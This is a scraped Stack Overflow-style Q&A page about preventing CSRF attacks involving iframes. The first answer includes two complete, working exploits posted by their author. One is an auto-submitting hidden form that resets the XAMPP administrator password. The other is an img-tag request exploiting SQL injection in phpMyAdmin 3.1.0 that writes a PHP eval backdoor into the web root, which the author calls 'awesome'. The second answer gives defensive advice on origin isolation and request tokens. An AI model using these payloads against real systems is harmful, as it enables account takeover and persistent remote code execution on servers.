ansaurus

Question

How to prevent CSRF/XSRF attacks involving embedded iframes?

Answer 1

+1 A:

The short answer is no, XSRF has nothing to do with iframes.

It doesn't matter if the forged request originates from an iframe. The forged request must originate from another server in order for an attacker to exploit it. Hackers user iframes because they can be useful for forging post requests in an XSRF exploit because the exploit must use javascript to automatically submit a forum . Here is a real world XSRF exploit I wrote against XAMPP which changes the administrative password. Its best to execute this javascript/html in an iframe so it is invisible to the victim, but this exploit could just redirect the whole window without an iframe and it will still change the Admin's password.

<html>
 <form action='http://10.1.1.10/security/xamppsecurity.php' method='POST' id=1>
           <input type="hidden" name="_SERVER[REMOTE_ADDR]" value="127.0.0.1">
  <input type=hidden name="xamppuser" value=admin >
  <input type=hidden name="xampppasswd" value=password>
  <input type=hidden name="xamppaccess" value="Make+safe+the+XAMPP+directory">
  <input type=submit>
 </form>
</html>
<script>
 document.getElementById(1).submit();
</script>

But if the XSRF attack is GET based, then an iframe doesn't help an attacker. Its better to use an img tag to automatically send the forged request on the victims browser. Here is another exploit of mine which was written for phpMyAdmin 3.1.0. This uploads a php backdoor in the web root. This exploit is awesome because it works with noscript enabled and affects a TON of systems.

<html>
<img src="http://10.1.1.10/phpmyadmin/tbl_structure.php?db=information_schema&amp;table=TABLES%60+where+0+union+select+char%2860%2C+63%2C+112%2C+104%2C+112%2C+32%2C+101%2C+118%2C+97%2C+108%2C+40%2C+36%2C+95%2C+71%2C+69%2C+84%2C+91%2C+101%2C+93%2C+41%2C+63%2C+62%29+into+outfile+%22%2Fvar%2Fwww%2Fbackdoor.php%22+--+1"&gt;
</html>

Rook 2010-01-26 04:39:39

Exploits are NEVER "awesome". They waste everyone's time. I'm more interested in my scenario which, to the best of my knowledge, qualifies as CSRF (assume the parent window has someone viewing the page with admin privileges on the site of some sort). I ran a quick test of my scenario and was able to execute Javascript (including AJAX calls) unhindered within the parent with admin privileges even though the untrusted Javascript came from a completely different domain. "CSRF exploits the trust that a site has in a user's browser." This seems to qualify.

Cookie Monster 2010-01-26 05:41:18

How hackers break in will always be a magical until you have mastered the art of exploitation.

Rook 2010-01-26 06:27:16

Absolutely false.

Cookie Monster 2010-01-26 07:05:50

You are an excellent example of my statement and I was the one that gave you the up vote.

Rook 2010-01-26 07:26:54

Answer 2

+1 A:

You can use the Same Origin Policy(SOP) to your advantage.

Set the iframe src to either a different port, subdomain or domain, and the iframe will not be able to access the parent content.

ie: for the page

http://www.mydomain.com/mypage.html

and for the iframe, one of the following

http://www.mydomain.com:4255/iframeSrc.html
http://secure.mydomain.com/iframeSrc.html
http://www.secure-mydomain.com/iframeSrc.html

But this won't prevent CSRF if you rely only on a cookie available in your page.
If someone knows how to POST a request on your server, he will be able to do it.

The easiest way to prevent this is to have in your page a javascript variable(inaccessible from the iframe by the SOP) that you pass for each of your request.

Something that may interest you, and sorry for the spam, as I already posted today on SO something about it, we use an iframe to sandbox JSONP calls, but to enable a secured string communication between them.

Here is the description of how it work, and there is a demo page to see it running.

Mic 2010-01-26 11:02:16

ansaurus

tags:

views:

answers:

How to prevent CSRF/XSRF attacks involving embedded iframes?

related questions